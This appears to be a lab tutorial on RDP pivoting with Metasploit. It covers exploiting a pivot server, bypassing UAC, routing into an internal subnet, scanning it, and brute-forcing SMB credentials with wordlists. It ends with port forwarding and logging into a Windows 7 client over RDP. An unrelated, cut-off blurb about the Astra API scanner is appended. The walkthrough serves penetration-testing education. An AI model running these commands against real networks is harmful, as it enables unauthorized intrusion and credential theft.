- RDP Pivoting with Metasploit
- In our previous turtorial we had discussed on SSH pivotingand today we are going to discuss RDP pivoting.
- From Offensive Security
- Pivoting is technique to get inside an unreachable network with help of pivot (centre point). In simple words it is an attack through which attacker can exploit those system which belongs to different network. For this attack, the attacker needs to exploit the main server that helps the attacker to add himself inside its local network and then attacker will able to target the client system for attack.
- Lab Setup requirement:
- Attacker machine: Kali Linux
- Pivot Machine (server): window operating system with two network interface
- Target Machine (client): window 7 (Allow RDP service)
- Use exploit MS17-010 or muti handler to hack the pivot machine and bypass its UAC to achieve admin privleges.
- sessions
- Hence if you will count then currently attacker has hold 2 sessions, 1st for meterpreter shell and 2nd for bypass UAC of server.
- Check network interface through following command:
- Meterpreter> ifconfig
- From given image you can observe two networks interface in victim’s system 1st for IP 192.168.0.27 through which attacker is connected and 2nd for IP 192.168.100.100 through which clients (targets) are connected.
- Since attacker belongs to 192.168.0.1 interface and client belongs to 192.168.100.0 interface therefore it is not possible to directly make attack on client network until unless the attacker acquires same network connection. In order to achieve 192.168.100.0 network attacker need run the post exploitation “autoroute”.
- This module manages session routing via an existing Meterpreter session. It enables other modules to ‘pivot’ through a compromised host when connecting to the named NETWORK and SUBMASK. Autoadd will search a session for valid subnets from the routing table and interface list then add routes to them. Default will add a default route so that all TCP/IP traffic not specified in the MSF routing table will be routed through the session when pivoting.
- msf > use post/multi/manage/autoroute
- msf post(autoroute) > set session 2
- msf post(autoroute) > exploit
- Note: If you had not bypass UAC you can use session 1 for post exploit.
- This Module will perform an ARP scan for a given IP range through a Meterpreter Session.
- use post/windows/gather/arp_scanner
- msf post(arp_scanner) > set rhosts 192.168.100.100-110
- msf post(arp_scanner) > set session 2
- msf post(arp_scanner) > set thread 20
- msf post(arp_scanner) > exploit
- Here we found a new IP 192.1668.100.103 as shown in given image. Let’s perform TCP port scan for activated services on this machine.
- This module Enumerates open TCP services by performing a full TCP connect on each port. This does not need administrative privileges on the source machine, which may be useful if pivoting.
- use auxiliary/scanner/portscan/tcp
- msf auxiliary(tcp) > set ports 445, 3389
- msf auxiliary(tcp) > set rhosts 192.168.100.103
- msf auxiliary(tcp) > set thread 10
- msf auxiliary(tcp) >exploit
- From given you can observe port 3389 and port 445 are open and we know that 3389 is used for RDP and 445 is use for SMB.
- This module will test a SMB login on a range of machines and report successful logins. If you have loaded a database plugin and connected to a database this module will record successful logins and hosts so you can track your access.
- use auxiliary/scanner/smb/smb_login
- msf exploit (smb_login)>set rhost 192.168.100.103
- msf exploit (smb_login)>set user_file /root/Desktop/user.txt
- msf exploit (smb_login)>set pass_file /root/Desktop/pass.txt
- msf exploit (smb_login)>set stop_on_success true
- msf exploit (smb_login)>exploit
- From given image you can observe the highlights pentest: 123 has success login.
- Now Type following command for port forwarding on localhost.
- Meterpreter> portfwd add –l 3389 –p 3389 –r 192.168.100.103
- -l: This is a local port to listen on.
- -p: The remote port to connect on.
- -r: The remote host address to connect on.
- Now type following command to connect RDP client on localhost through port3389
- rdesktop 127.0.0.1:3389
- Now it will ask to enter the credential for connecting with RDP client; Enter the combination of username and password you have retrieved from SMB login Exploit.
- If you remembered we have retrieved pentest: 123through smb login exploit which we are using for login.
- Wonderful!! We had successfully exploit RDP client.
Astra - Automated Security Testing For REST API's is complex due to continuous changes in existing APIs and newly added APIs. Astra can be used by security engineers or developers as an integral part of their process, so they can detect and patch vulnerabilities early during development cycle. Astra can automatically detect and test login & logout (Authentication API), so it's easy for anyone to integrate this into CICD pipeline. Astra can take API collection as an input so this can also be used for testing apis in standalone mode. SQL injection Cross site scripting Information Leakage Broken Authentication and session management CSRF (including Blind CSRF) Rate limit CORS misonfiguration (including CORS bypass techniques) JWT attack Coming soon XXE CSP misconfiguration Requirement Linux or MacOS Python 2.7 mongoDB Installation $ git clone https://github.com/flipkart-incubator/Astra $ cd Astra $ sudo pip install -r require...
تعليقات